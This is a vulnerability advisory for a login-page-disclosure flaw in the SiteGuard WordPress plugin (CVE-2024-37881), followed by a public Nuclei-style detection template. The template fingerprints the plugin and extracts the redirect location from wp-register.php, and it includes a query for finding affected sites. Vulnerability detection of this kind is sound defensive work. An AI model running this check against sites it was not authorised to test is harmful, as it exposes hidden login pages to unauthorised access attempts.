The SiteGuard WP Plugin plugin for WordPress is vulnerable to protection mechanism bypass in all versions up to, and including, 1.7.6. This is due to the plugin not restricting redirects from wp-register.php which may disclose the login page URL. This makes it possible for unauthenticated attackers to gain access to the login page.
PoC代码[已公开]
id: CVE-2024-37881
info:
name: SiteGuard WP Plugin <= 1.7.6 - Login Page Disclosure
author: s4e-io
severity: medium
description: |
The SiteGuard WP Plugin plugin for WordPress is vulnerable to protection mechanism bypass in all versions up to, and including, 1.7.6. This is due to the plugin not restricting redirects from wp-register.php which may disclose the login page URL. This makes it possible for unauthenticated attackers to gain access to the login page.
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-37881
- https://jvn.jp/en/jp/JVN60331535/
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/siteguard/siteguard-wp-plugin-176-login-page-disclosure
- https://www.usom.gov.tr/bildirim/tr-24-0726
classification:
epss-score: 0.04143
epss-percentile: 0.88262
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/siteguard/"
tags: cve,cve-2024,siteguard,wp-plugin,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/siteguard/readme.txt"
matchers:
- type: dsl
internal: true
dsl:
- "status_code == 200"
- 'contains(body, "SiteGuard WP Plugin")'
condition: and
- method: GET
path:
- "{{BaseURL}}/wp-register.php"
matchers:
- type: dsl
dsl:
- "!contains(tolower(location), 'wp-login.php')"
extractors:
- type: kval
kval:
- location
# digest: 4b0a00483046022100c0cd0a2b79c5df4ce9f5cacbad1b34c14913e5d32904323982ce2996b494a3c0022100bb3cfafa68c29dfba8e91cd04ec6ba68b13039590f7dfa700f276fe22548c43e:922c64590222798bb761d5b6d8e72950